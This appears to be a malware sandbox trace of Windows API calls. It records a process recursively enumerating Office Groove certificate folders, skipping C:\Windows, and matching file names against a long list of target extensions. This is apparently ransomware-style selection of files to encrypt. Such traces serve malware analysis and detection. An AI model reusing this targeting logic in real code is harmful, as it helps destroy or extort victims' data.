	[0253.960] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xfffe) returned 0x4289c80
	[0253.960] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\groove.net\\Servers") returned 81
	[0253.960] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\groove.net\\Servers\\*", lpFindFileData=0x374eb9c | out: lpFindFileData=0x374eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x582abeb0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d169470, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d169470, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x41b2290
	[0253.960] FindNextFileW (in: hFindFile=0x41b2290, lpFindFileData=0x374eb9c | out: lpFindFileData=0x374eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x582abeb0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d169470, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d169470, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0253.960] FindNextFileW (in: hFindFile=0x41b2290, lpFindFileData=0x374eb9c | out: lpFindFileData=0x374eb9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6d003d00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x582abeb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d003d00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x3b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Management.cer", cAlternateFileName="MANAGE~1.CER")) returned 1
	[0253.960] lstrlenW (lpString="Management.cer") returned 14
	[0253.960] lstrlenW (lpString=".1cd") returned 4
	[0253.960] lstrcmpiW (lpString1=".1cd", lpString2=".cer") returned -1
	[0253.960] lstrlenW (lpString=".3ds") returned 4
	[0253.960] lstrcmpiW (lpString1=".3ds", lpString2=".cer") returned -1
	[0253.960] lstrlenW (lpString=".3fr") returned 4
	[0253.960] lstrcmpiW (lpString1=".3fr", lpString2=".cer") returned -1
	[0253.960] lstrlenW (lpString=".3g2") returned 4
	[0253.960] lstrcmpiW (lpString1=".3g2", lpString2=".cer") returned -1
	[0253.960] lstrlenW (lpString=".3gp") returned 4
	[0253.960] lstrcmpiW (lpString1=".3gp", lpString2=".cer") returned -1
	[0253.960] lstrlenW (lpString=".7z") returned 3
	[0253.960] lstrcmpiW (lpString1=".7z", lpString2="cer") returned -1
	[0253.960] lstrlenW (lpString=".accda") returned 6
	[0253.960] lstrcmpiW (lpString1=".accda", lpString2="nt.cer") returned -1
	[0253.960] lstrlenW (lpString=".accdb") returned 6
	[0253.960] lstrcmpiW (lpString1=".accdb", lpString2="nt.cer") returned -1
	[0253.960] lstrlenW (lpString=".accdc") returned 6
	[0253.960] lstrcmpiW (lpString1=".accdc", lpString2="nt.cer") returned -1
	[0253.961] lstrlenW (lpString=".accde") returned 6
	[0253.961] lstrcmpiW (lpString1=".accde", lpString2="nt.cer") returned -1
	[0253.961] lstrlenW (lpString=".accdt") returned 6
	[0253.961] lstrcmpiW (lpString1=".accdt", lpString2="nt.cer") returned -1
	[0253.961] lstrlenW (lpString=".accdw") returned 6
	[0253.961] lstrcmpiW (lpString1=".accdw", lpString2="nt.cer") returned -1
	[0253.961] lstrlenW (lpString=".adb") returned 4
	[0253.961] lstrcmpiW (lpString1=".adb", lpString2=".cer") returned -1
	[0253.961] lstrlenW (lpString=".adp") returned 4
	[0253.961] lstrcmpiW (lpString1=".adp", lpString2=".cer") returned -1
	[0253.961] lstrlenW (lpString=".ai") returned 3
	[0253.961] lstrcmpiW (lpString1=".ai", lpString2="cer") returned -1
	[0253.961] lstrlenW (lpString=".ai3") returned 4
	[0253.961] lstrcmpiW (lpString1=".ai3", lpString2=".cer") returned -1
	[0253.961] lstrlenW (lpString=".ai4") returned 4
	[0253.961] lstrcmpiW (lpString1=".ai4", lpString2=".cer") returned -1
	[0253.961] lstrlenW (lpString=".ai5") returned 4
	[0253.961] lstrcmpiW (lpString1=".ai5", lpString2=".cer") returned -1
	[0253.961] lstrlenW (lpString=".ai6") returned 4
	[0253.961] lstrcmpiW (lpString1=".ai6", lpString2=".cer") returned -1
	[0253.961] lstrlenW (lpString=".ai7") returned 4
	[0254.013] lstrcmpiW (lpString1=".ai7", lpString2=".cer") returned -1
	[0254.013] lstrlenW (lpString=".ai8") returned 4
	[0254.013] lstrcmpiW (lpString1=".ai8", lpString2=".cer") returned -1
	[0254.013] lstrlenW (lpString=".anim") returned 5
	[0254.013] lstrcmpiW (lpString1=".anim", lpString2="t.cer") returned -1
	[0254.013] lstrlenW (lpString=".arw") returned 4
	[0254.013] lstrcmpiW (lpString1=".arw", lpString2=".cer") returned -1
	[0254.013] lstrlenW (lpString=".as") returned 3
	[0254.013] lstrcmpiW (lpString1=".as", lpString2="cer") returned -1
	[0254.013] lstrlenW (lpString=".asa") returned 4
	[0254.013] lstrcmpiW (lpString1=".asa", lpString2=".cer") returned -1
	[0254.013] lstrlenW (lpString=".asc") returned 4
	[0254.013] lstrcmpiW (lpString1=".asc", lpString2=".cer") returned -1
	[0254.013] lstrlenW (lpString=".ascx") returned 5
	[0254.013] lstrcmpiW (lpString1=".ascx", lpString2="t.cer") returned -1
	[0254.013] lstrlenW (lpString=".asm") returned 4
	[0254.013] lstrcmpiW (lpString1=".asm", lpString2=".cer") returned -1
	[0254.013] lstrlenW (lpString=".asmx") returned 5
	[0254.013] lstrcmpiW (lpString1=".asmx", lpString2="t.cer") returned -1
	[0254.013] lstrlenW (lpString=".asp") returned 4
	[0254.013] lstrcmpiW (lpString1=".asp", lpString2=".cer") returned -1
	[0254.013] lstrlenW (lpString=".aspx") returned 5
	[0254.013] lstrcmpiW (lpString1=".aspx", lpString2="t.cer") returned -1
	[0254.013] lstrlenW (lpString=".asr") returned 4
	[0254.013] lstrcmpiW (lpString1=".asr", lpString2=".cer") returned -1
	[0254.013] lstrlenW (lpString=".asx") returned 4
	[0254.013] lstrcmpiW (lpString1=".asx", lpString2=".cer") returned -1
	[0254.013] lstrlenW (lpString=".avi") returned 4
	[0254.013] lstrcmpiW (lpString1=".avi", lpString2=".cer") returned -1
	[0254.013] lstrlenW (lpString=".avs") returned 4
	[0254.013] lstrcmpiW (lpString1=".avs", lpString2=".cer") returned -1
	[0254.013] lstrlenW (lpString=".backup") returned 7
	[0254.014] lstrcmpiW (lpString1=".backup", lpString2="ent.cer") returned -1
	[0254.014] lstrlenW (lpString=".bak") returned 4
	[0254.014] lstrcmpiW (lpString1=".bak", lpString2=".cer") returned -1
	[0254.014] lstrlenW (lpString=".bay") returned 4
	[0254.014] lstrcmpiW (lpString1=".bay", lpString2=".cer") returned -1
	[0254.014] lstrlenW (lpString=".bd") returned 3
	[0254.014] lstrcmpiW (lpString1=".bd", lpString2="cer") returned -1
	[0254.014] lstrlenW (lpString=".bin") returned 4
	[0254.014] lstrcmpiW (lpString1=".bin", lpString2=".cer") returned -1
	[0254.014] lstrlenW (lpString=".bmp") returned 4
	[0254.014] lstrcmpiW (lpString1=".bmp", lpString2=".cer") returned -1
	[0254.014] lstrlenW (lpString=".bz2") returned 4
	[0254.014] lstrcmpiW (lpString1=".bz2", lpString2=".cer") returned -1
	[0254.014] lstrlenW (lpString=".c") returned 2
	[0254.014] lstrcmpiW (lpString1=".c", lpString2="er") returned -1
	[0254.014] lstrlenW (lpString=".cdr") returned 4
	[0254.014] lstrcmpiW (lpString1=".cdr", lpString2=".cer") returned -1
	[0254.014] lstrlenW (lpString=".cer") returned 4
	[0254.014] lstrcmpiW (lpString1=".cer", lpString2=".cer") returned 0
	[0254.014] FindNextFileW (in: hFindFile=0x41b2290, lpFindFileData=0x374eb9c | out: lpFindFileData=0x374eb9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6d003d00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6d169470, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d003d00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x3de, dwReserved0=0x0, dwReserved1=0x0, cFileName="RELAY.CER", cAlternateFileName="")) returned 1
	[0254.014] lstrlenW (lpString="RELAY.CER") returned 9
	[0254.014] lstrlenW (lpString=".1cd") returned 4
	[0254.015] lstrcmpiW (lpString1=".1cd", lpString2=".CER") returned -1
	[0254.015] lstrlenW (lpString=".3ds") returned 4
	[0254.015] lstrcmpiW (lpString1=".3ds", lpString2=".CER") returned -1
	[0254.015] lstrlenW (lpString=".3fr") returned 4
	[0254.015] lstrcmpiW (lpString1=".3fr", lpString2=".CER") returned -1
	[0254.015] lstrlenW (lpString=".3g2") returned 4
	[0254.015] lstrcmpiW (lpString1=".3g2", lpString2=".CER") returned -1
	[0254.015] lstrlenW (lpString=".3gp") returned 4
	[0254.015] lstrcmpiW (lpString1=".3gp", lpString2=".CER") returned -1
	[0254.015] lstrlenW (lpString=".7z") returned 3
	[0254.015] lstrcmpiW (lpString1=".7z", lpString2="CER") returned -1
	[0254.015] lstrlenW (lpString=".accda") returned 6
	[0254.015] lstrcmpiW (lpString1=".accda", lpString2="AY.CER") returned -1
	[0254.015] lstrlenW (lpString=".accdb") returned 6
	[0254.015] lstrcmpiW (lpString1=".accdb", lpString2="AY.CER") returned -1
	[0254.015] lstrlenW (lpString=".accdc") returned 6
	[0254.015] lstrcmpiW (lpString1=".accdc", lpString2="AY.CER") returned -1
	[0254.015] lstrlenW (lpString=".accde") returned 6
	[0254.015] lstrcmpiW (lpString1=".accde", lpString2="AY.CER") returned -1
	[0254.015] lstrlenW (lpString=".accdt") returned 6
	[0254.015] lstrcmpiW (lpString1=".accdt", lpString2="AY.CER") returned -1
	[0254.015] lstrlenW (lpString=".accdw") returned 6
	[0254.015] lstrcmpiW (lpString1=".accdw", lpString2="AY.CER") returned -1
	[0254.015] lstrlenW (lpString=".adb") returned 4
	[0254.015] lstrcmpiW (lpString1=".adb", lpString2=".CER") returned -1
	[0254.015] lstrlenW (lpString=".adp") returned 4
	[0254.015] lstrcmpiW (lpString1=".adp", lpString2=".CER") returned -1
	[0254.015] lstrlenW (lpString=".ai") returned 3
	[0254.015] lstrcmpiW (lpString1=".ai", lpString2="CER") returned -1
	[0254.015] lstrlenW (lpString=".ai3") returned 4
	[0254.015] lstrcmpiW (lpString1=".ai3", lpString2=".CER") returned -1
	[0254.015] lstrlenW (lpString=".ai4") returned 4
	[0254.015] lstrcmpiW (lpString1=".ai4", lpString2=".CER") returned -1
	[0254.016] lstrlenW (lpString=".ai5") returned 4
	[0254.016] lstrcmpiW (lpString1=".ai5", lpString2=".CER") returned -1
	[0254.016] lstrlenW (lpString=".ai6") returned 4
	[0254.016] lstrcmpiW (lpString1=".ai6", lpString2=".CER") returned -1
	[0254.016] lstrlenW (lpString=".ai7") returned 4
	[0254.016] lstrcmpiW (lpString1=".ai7", lpString2=".CER") returned -1
	[0254.016] lstrlenW (lpString=".ai8") returned 4
	[0254.016] lstrcmpiW (lpString1=".ai8", lpString2=".CER") returned -1
	[0254.016] lstrlenW (lpString=".anim") returned 5
	[0254.016] lstrcmpiW (lpString1=".anim", lpString2="Y.CER") returned -1
	[0254.016] lstrlenW (lpString=".arw") returned 4
	[0254.016] lstrcmpiW (lpString1=".arw", lpString2=".CER") returned -1
	[0254.016] lstrlenW (lpString=".as") returned 3
	[0254.016] lstrcmpiW (lpString1=".as", lpString2="CER") returned -1
	[0254.016] lstrlenW (lpString=".asa") returned 4
	[0254.016] lstrcmpiW (lpString1=".asa", lpString2=".CER") returned -1
	[0254.016] lstrlenW (lpString=".asc") returned 4
	[0254.016] lstrcmpiW (lpString1=".asc", lpString2=".CER") returned -1
	[0254.016] lstrlenW (lpString=".ascx") returned 5
	[0254.016] lstrcmpiW (lpString1=".ascx", lpString2="Y.CER") returned -1
	[0254.016] lstrlenW (lpString=".asm") returned 4
	[0254.016] lstrcmpiW (lpString1=".asm", lpString2=".CER") returned -1
	[0254.017] lstrlenW (lpString=".asmx") returned 5
	[0254.017] lstrcmpiW (lpString1=".asmx", lpString2="Y.CER") returned -1
	[0254.017] lstrlenW (lpString=".asp") returned 4
	[0254.017] lstrcmpiW (lpString1=".asp", lpString2=".CER") returned -1
	[0254.017] lstrlenW (lpString=".aspx") returned 5
	[0254.017] lstrcmpiW (lpString1=".aspx", lpString2="Y.CER") returned -1
	[0254.017] lstrlenW (lpString=".asr") returned 4
	[0254.017] lstrcmpiW (lpString1=".asr", lpString2=".CER") returned -1
	[0254.017] lstrlenW (lpString=".asx") returned 4
	[0254.017] lstrcmpiW (lpString1=".asx", lpString2=".CER") returned -1
	[0254.017] lstrlenW (lpString=".avi") returned 4
	[0254.017] lstrcmpiW (lpString1=".avi", lpString2=".CER") returned -1
	[0254.017] lstrlenW (lpString=".avs") returned 4
	[0254.017] lstrcmpiW (lpString1=".avs", lpString2=".CER") returned -1
	[0254.017] lstrlenW (lpString=".backup") returned 7
	[0254.017] lstrcmpiW (lpString1=".backup", lpString2="LAY.CER") returned -1
	[0254.017] lstrlenW (lpString=".bak") returned 4
	[0254.017] lstrcmpiW (lpString1=".bak", lpString2=".CER") returned -1
	[0254.017] lstrlenW (lpString=".bay") returned 4
	[0254.017] lstrcmpiW (lpString1=".bay", lpString2=".CER") returned -1
	[0254.017] lstrlenW (lpString=".bd") returned 3
	[0254.017] lstrcmpiW (lpString1=".bd", lpString2="CER") returned -1
	[0254.017] lstrlenW (lpString=".bin") returned 4
	[0254.017] lstrcmpiW (lpString1=".bin", lpString2=".CER") returned -1
	[0254.017] lstrlenW (lpString=".bmp") returned 4
	[0254.017] lstrcmpiW (lpString1=".bmp", lpString2=".CER") returned -1
	[0254.017] lstrlenW (lpString=".bz2") returned 4
	[0254.017] lstrcmpiW (lpString1=".bz2", lpString2=".CER") returned -1
	[0254.017] lstrlenW (lpString=".c") returned 2
	[0254.017] lstrcmpiW (lpString1=".c", lpString2="ER") returned -1
	[0254.017] lstrlenW (lpString=".cdr") returned 4
	[0254.017] lstrcmpiW (lpString1=".cdr", lpString2=".CER") returned -1
	[0254.018] lstrlenW (lpString=".cer") returned 4
	[0254.018] lstrcmpiW (lpString1=".cer", lpString2=".CER") returned 0
	[0254.018] FindNextFileW (in: hFindFile=0x41b2290, lpFindFileData=0x374eb9c | out: lpFindFileData=0x374eb9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6d003d00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6d169470, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d003d00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x3de, dwReserved0=0x0, dwReserved1=0x0, cFileName="RELAY.CER", cAlternateFileName="")) returned 0
	[0254.018] FindClose (in: hFindFile=0x41b2290 | out: hFindFile=0x41b2290) returned 1
	[0254.018] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4289c80 | out: hHeap=0x4a0000) returned 1
	[0254.018] FindNextFileW (in: hFindFile=0x41b2550, lpFindFileData=0x374ee18 | out: lpFindFileData=0x374ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x582abeb0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d169470, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d169470, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Servers", cAlternateFileName="")) returned 0
	[0254.018] FindClose (in: hFindFile=0x41b2550 | out: hFindFile=0x41b2550) returned 1
	[0254.018] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x422dcf8 | out: hHeap=0x4a0000) returned 1
	[0254.018] FindNextFileW (in: hFindFile=0x41b2590, lpFindFileData=0x374f094 | out: lpFindFileData=0x374f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5e490770, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5e490770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5e490770, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Verisign", cAlternateFileName="")) returned 1
	[0254.018] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\Verisign") returned 71
	[0254.018] lstrcmpiW (lpString1="C:\\Windows", lpString2="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\Verisign") returned 1
	[0254.018] lstrlenW (lpString="Verisign") returned 8
	[0254.018] lstrcmpiW (lpString1="C:\\Windows", lpString2="Verisign") returned -1
	[0254.018] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xfffe) returned 0x4289c80
	[0254.018] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\Verisign") returned 71
	[0254.018] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\Verisign\\*", lpFindFileData=0x374ee18 | out: lpFindFileData=0x374ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5e490770, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5e490770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5e490770, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x41b2550
	[0254.024] FindNextFileW (in: hFindFile=0x41b2550, lpFindFileData=0x374ee18 | out: lpFindFileData=0x374ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5e490770, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5e490770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5e490770, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0254.024] FindNextFileW (in: hFindFile=0x41b2550, lpFindFileData=0x374ee18 | out: lpFindFileData=0x374ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5e490770, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x70744630, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x70744630, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Components", cAlternateFileName="COMPON~1")) returned 1
	[0254.024] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\Verisign\\Components") returned 82
	[0254.024] lstrcmpiW (lpString1="C:\\Windows", lpString2="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\Verisign\\Components") returned 1
	[0254.024] lstrlenW (lpString="Components") returned 10
	[0254.024] lstrcmpiW (lpString1="C:\\Windows", lpString2="Components") returned -1
	[0254.024] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xfffe) returned 0x422dcf8
	[0254.024] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\Verisign\\Components") returned 82
	[0254.024] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\Verisign\\Components\\*", lpFindFileData=0x374eb9c | out: lpFindFileData=0x374eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5e490770, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x70744630, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x70744630, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x41b2610
	[0254.348] FindNextFileW (in: hFindFile=0x41b2610, lpFindFileData=0x374eb9c | out: lpFindFileData=0x374eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5e490770, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x70744630, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x70744630, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0254.348] FindNextFileW (in: hFindFile=0x41b2610, lpFindFileData=0x374eb9c | out: lpFindFileData=0x374eb9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6d003d00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5e490770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d003d00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x3ae, dwReserved0=0x0, dwReserved1=0x0, cFileName="VeriSign_Class_3_Code_Signing_2001-4_CA.cer", cAlternateFileName="VERISI~1.CER")) returned 1
	[0254.348] lstrlenW (lpString="VeriSign_Class_3_Code_Signing_2001-4_CA.cer") returned 43
	[0254.348] lstrlenW (lpString=".1cd") returned 4
	[0254.348] lstrcmpiW (lpString1=".1cd", lpString2=".cer") returned -1
	[0254.348] lstrlenW (lpString=".3ds") returned 4
	[0254.348] lstrcmpiW (lpString1=".3ds", lpString2=".cer") returned -1
	[0254.348] lstrlenW (lpString=".3fr") returned 4
	[0254.348] lstrcmpiW (lpString1=".3fr", lpString2=".cer") returned -1
	[0254.348] lstrlenW (lpString=".3g2") returned 4
	[0254.348] lstrcmpiW (lpString1=".3g2", lpString2=".cer") returned -1
	[0254.348] lstrlenW (lpString=".3gp") returned 4
	[0254.348] lstrcmpiW (lpString1=".3gp", lpString2=".cer") returned -1
	[0254.348] lstrlenW (lpString=".7z") returned 3
	[0254.348] lstrcmpiW (lpString1=".7z", lpString2="cer") returned -1
	[0254.348] lstrlenW (lpString=".accda") returned 6
	[0254.348] lstrcmpiW (lpString1=".accda", lpString2="CA.cer") returned -1
	[0254.348] lstrlenW (lpString=".accdb") returned 6
	[0254.349] lstrcmpiW (lpString1=".accdb", lpString2="CA.cer") returned -1
	[0254.349] lstrlenW (lpString=".accdc") returned 6
	[0254.349] lstrcmpiW (lpString1=".accdc", lpString2="CA.cer") returned -1
	[0254.349] lstrlenW (lpString=".accde") returned 6
	[0254.349] lstrcmpiW (lpString1=".accde", lpString2="CA.cer") returned -1
	[0254.349] lstrlenW (lpString=".accdt") returned 6
	[0254.349] lstrcmpiW (lpString1=".accdt", lpString2="CA.cer") returned -1
	[0254.349] lstrlenW (lpString=".accdw") returned 6
	[0254.349] lstrcmpiW (lpString1=".accdw", lpString2="CA.cer") returned -1
	[0254.349] lstrlenW (lpString=".adb") returned 4
	[0254.349] lstrcmpiW (lpString1=".adb", lpString2=".cer") returned -1
	[0254.349] lstrlenW (lpString=".adp") returned 4
	[0254.349] lstrcmpiW (lpString1=".adp", lpString2=".cer") returned -1
	[0254.349] lstrlenW (lpString=".ai") returned 3
	[0254.349] lstrcmpiW (lpString1=".ai", lpString2="cer") returned -1
	[0254.349] lstrlenW (lpString=".ai3") returned 4
	[0254.349] lstrcmpiW (lpString1=".ai3", lpString2=".cer") returned -1
	[0254.349] lstrlenW (lpString=".ai4") returned 4
	[0254.349] lstrcmpiW (lpString1=".ai4", lpString2=".cer") returned -1
	[0254.349] lstrlenW (lpString=".ai5") returned 4
	[0254.349] lstrcmpiW (lpString1=".ai5", lpString2=".cer") returned -1
	[0254.349] lstrlenW (lpString=".ai6") returned 4
	[0254.349] lstrcmpiW (lpString1=".ai6", lpString2=".cer") returned -1
	[0254.349] lstrlenW (lpString=".ai7") returned 4
	[0254.349] lstrcmpiW (lpString1=".ai7", lpString2=".cer") returned -1
	[0254.349] lstrlenW (lpString=".ai8") returned 4
	[0254.349] lstrcmpiW (lpString1=".ai8", lpString2=".cer") returned -1
	[0254.349] lstrlenW (lpString=".anim") returned 5
	[0254.349] lstrcmpiW (lpString1=".anim", lpString2="A.cer") returned -1
	[0254.350] lstrlenW (lpString=".arw") returned 4
	[0254.350] lstrcmpiW (lpString1=".arw", lpString2=".cer") returned -1
	[0254.350] lstrlenW (lpString=".as") returned 3
	[0254.350] lstrcmpiW (lpString1=".as", lpString2="cer") returned -1
	[0254.350] lstrlenW (lpString=".asa") returned 4
	[0254.350] lstrcmpiW (lpString1=".asa", lpString2=".cer") returned -1
	[0254.350] lstrlenW (lpString=".asc") returned 4
	[0254.350] lstrcmpiW (lpString1=".asc", lpString2=".cer") returned -1
	[0254.350] lstrlenW (lpString=".ascx") returned 5
	[0254.350] lstrcmpiW (lpString1=".ascx", lpString2="A.cer") returned -1
	[0254.350] lstrlenW (lpString=".asm") returned 4
	[0254.350] lstrcmpiW (lpString1=".asm", lpString2=".cer") returned -1
	[0254.350] lstrlenW (lpString=".asmx") returned 5
	[0254.350] lstrcmpiW (lpString1=".asmx", lpString2="A.cer") returned -1
	[0254.350] lstrlenW (lpString=".asp") returned 4
	[0254.350] lstrcmpiW (lpString1=".asp", lpString2=".cer") returned -1
	[0254.350] lstrlenW (lpString=".aspx") returned 5
	[0254.350] lstrcmpiW (lpString1=".aspx", lpString2="A.cer") returned -1
	[0254.350] lstrlenW (lpString=".asr") returned 4
	[0254.350] lstrcmpiW (lpString1=".asr", lpString2=".cer") returned -1
	[0254.350] lstrlenW (lpString=".asx") returned 4
	[0254.350] lstrcmpiW (lpString1=".asx", lpString2=".cer") returned -1
	[0254.350] lstrlenW (lpString=".avi") returned 4
	[0254.350] lstrcmpiW (lpString1=".avi", lpString2=".cer") returned -1
	[0254.350] lstrlenW (lpString=".avs") returned 4
	[0254.350] lstrcmpiW (lpString1=".avs", lpString2=".cer") returned -1
	[0254.350] lstrlenW (lpString=".backup") returned 7
	[0254.350] lstrcmpiW (lpString1=".backup", lpString2="_CA.cer") returned -1
	[0254.350] lstrlenW (lpString=".bak") returned 4
	[0254.350] lstrcmpiW (lpString1=".bak", lpString2=".cer") returned -1
	[0254.351] lstrlenW (lpString=".bay") returned 4
	[0254.351] lstrcmpiW (lpString1=".bay", lpString2=".cer") returned -1
	[0254.351] lstrlenW (lpString=".bd") returned 3
	[0254.351] lstrcmpiW (lpString1=".bd", lpString2="cer") returned -1
	[0254.351] lstrlenW (lpString=".bin") returned 4
	[0254.351] lstrcmpiW (lpString1=".bin", lpString2=".cer") returned -1
	[0254.351] lstrlenW (lpString=".bmp") returned 4
	[0254.351] lstrcmpiW (lpString1=".bmp", lpString2=".cer") returned -1
	[0254.351] lstrlenW (lpString=".bz2") returned 4
	[0254.351] lstrcmpiW (lpString1=".bz2", lpString2=".cer") returned -1
	[0254.351] lstrlenW (lpString=".c") returned 2
	[0254.351] lstrcmpiW (lpString1=".c", lpString2="er") returned -1
	[0254.351] lstrlenW (lpString=".cdr") returned 4
	[0254.351] lstrcmpiW (lpString1=".cdr", lpString2=".cer") returned -1
	[0254.351] lstrlenW (lpString=".cer") returned 4
	[0254.351] lstrcmpiW (lpString1=".cer", lpString2=".cer") returned 0
	[0254.351] FindNextFileW (in: hFindFile=0x41b2610, lpFindFileData=0x374eb9c | out: lpFindFileData=0x374eb9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6d003d00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x706f8370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d003d00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x240, dwReserved0=0x0, dwReserved1=0x0, cFileName="VeriSign_Class_3_Public_Primary_CA.cer", cAlternateFileName="VERISI~2.CER")) returned 1
	[0254.351] lstrlenW (lpString="VeriSign_Class_3_Public_Primary_CA.cer") returned 38
	[0256.313] FindClose (in: hFindFile=0x41b25d0 | out: hFindFile=0x41b25d0) returned 1
	[0256.314] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4289c80 | out: hHeap=0x4a0000) returned 1
